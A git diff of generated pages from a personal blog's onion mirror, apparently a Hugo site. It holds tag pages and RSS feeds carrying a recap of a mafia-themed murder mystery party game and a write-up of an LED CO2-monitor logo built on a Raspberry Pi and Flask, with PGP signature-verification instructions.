    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/fabrication/page/1/index.html b/public-onion/tags/fabrication/page/1/index.html new file mode 100644 index 0000000..4339ef8 --- /dev/null +++ b/public-onion/tags/fabrication/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/fabrication/ + + + + + + diff --git a/public-onion/tags/family-tree/index.html b/public-onion/tags/family-tree/index.html new file mode 100644 index 0000000..741f46a --- /dev/null +++ b/public-onion/tags/family-tree/index.html @@ -0,0 +1,352 @@ + + + + + + + +Family Tree | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    La Plaza: The Falcones & the Morettis +

    +
    +
    +

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    +
    +
    October 25, 2025 · 13 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/family-tree/index.xml b/public-onion/tags/family-tree/index.xml new file mode 100644 index 0000000..f4c1497 --- /dev/null +++ b/public-onion/tags/family-tree/index.xml @@ -0,0 +1,220 @@ + + + + Family Tree on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/family-tree/ + Recent content in Family Tree on AlipourIm journeys + Hugo -- 0.146.0 + en + Sat, 25 Oct 2025 07:52:53 +0000 + + + La Plaza: The Falcones & the Morettis + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Sat, 25 Oct 2025 07:52:53 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war. + Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/family-tree/page/1/index.html b/public-onion/tags/family-tree/page/1/index.html new file mode 100644 index 0000000..91274f5 --- /dev/null +++ b/public-onion/tags/family-tree/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/family-tree/ + + + + + + diff --git a/public-onion/tags/flask/index.html b/public-onion/tags/flask/index.html new file mode 100644 index 0000000..8a687fe --- /dev/null +++ b/public-onion/tags/flask/index.html @@ -0,0 +1,357 @@ + + + + + + + +Flask | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Six looks of the INET LED logo +
    +
    +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server +

    +
    +
    +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    +
    +
    October 17, 2025 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/flask/index.xml b/public-onion/tags/flask/index.xml new file mode 100644 index 0000000..c2b7bf1 --- /dev/null +++ b/public-onion/tags/flask/index.xml @@ -0,0 +1,419 @@ + + + + Flask on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/flask/ + Recent content in Flask on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 17 Oct 2025 00:00:00 +0000 + + + INET Logo That Breathes — From CAD to LEDs to a Calm Little Server + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + <blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> + +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

